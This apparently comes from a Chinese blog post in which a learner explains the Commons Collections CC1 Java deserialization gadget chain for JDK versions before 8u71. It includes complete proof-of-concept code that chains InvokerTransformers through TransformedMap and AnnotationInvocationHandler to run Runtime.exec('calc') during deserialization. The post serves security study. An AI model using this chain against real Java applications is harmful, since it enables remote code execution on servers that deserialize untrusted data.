当前位置:   article > 正文

[Java反序列化]JavaCC链学习(8u71前)_java8u71版本之前

java8u71版本之前

写在前面

仅仅只是前置知识,感谢P神,让我接触到了新的东西,下面是P神的知识星球https://govuln.com/?page=4

前置

要了解这个链子,必须要知道下面几个Transformer

Transformer

能看到这是一个接口,有一个待实现的方法Transformer,表面意思我们理解为执行转变的方法
在这里插入图片描述
ConstantTransformerinvokerTransformerChainedTransformerTransformedMap都实现了Transformer接口

TransformedMap

在网上直接百度这个看到的最多的就是反序列化,可见其对反序列化的利用多么重要;TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调(⼀个实现Transformer接⼝的类),而当TransformedMap对象执行setValue方法时会调用valueTransformertransform方法,因此,如果传入的valueTransformerChainedTransformer的对象,不就可以造成恶意代码执行了?当然这个我们马上说

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

InvokerTransformer

构造函数接收了三个参数
在这里插入图片描述
我们接下来再去看看其transform方法,不难看出是利用反射去调用方法
在这里插入图片描述

ConstantTransformer

在构造函数的时候传⼊⼀个对象,并在调用transform将这个对象返回
在这里插入图片描述

CC链分析

首先是最上方的

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

分析这里的调用过程,我们知道ConstantTransformer会直接返回传入的对象,而对于InvokerTransformer来说,不想往上翻,再把代码贴一遍,
在这里插入图片描述
最终为

package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class kkk {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43

通过TransformedMap.decorate的修饰。之后在调用setValue设置值的时候就会触发TransformedMap里注册的Transform方法,关键是在于这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject
里面调用了setValue(8u71以前版本)

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
                }
            }
        }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。但是我不清楚为什么要使用Retention.class,看网上对这个的介绍是

Retention(保留)注解说明,这种类型的注解会被保留到那个阶段. 有三个值:
1.RetentionPolicy.SOURCE —— 这种类型的Annotations只在源代码级别保留,编译时就会被忽略
2.RetentionPolicy.CLASS —— 这种类型的Annotations编译时被保留,在class文件中存在,但JVM将会忽略
3.RetentionPolicy.RUNTIME —— 这种类型的Annotations将被JVM保留,所以他们能在运行时被JVM或其他使用反射机制的代码所读取和使用.
  • 1
  • 2
  • 3
  • 4

看了P神笔记才知道还有一个需要注意的一点是var7不能为null,如何满足这个条件

sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须为Annotation的子类,并且其中必须有一个方法,假设为XTransformedMap修饰的Map当中必须有键名为X的元素
  • 1
  • 2

不过,感觉这个链子不太好利用,这个版本似乎没多少人用,作为初学者的我来说却很好!!!继续加油!!!

参考链接

https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://www.cnblogs.com/unknows/p/10261667.html
https://www.sohu.com/a/199696927_354899
https://blog.csdn.net/weixin_34319111/article/details/92243837
https://govuln.com/?page=4

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/779992
推荐阅读
相关标签
  

闽ICP备14008679号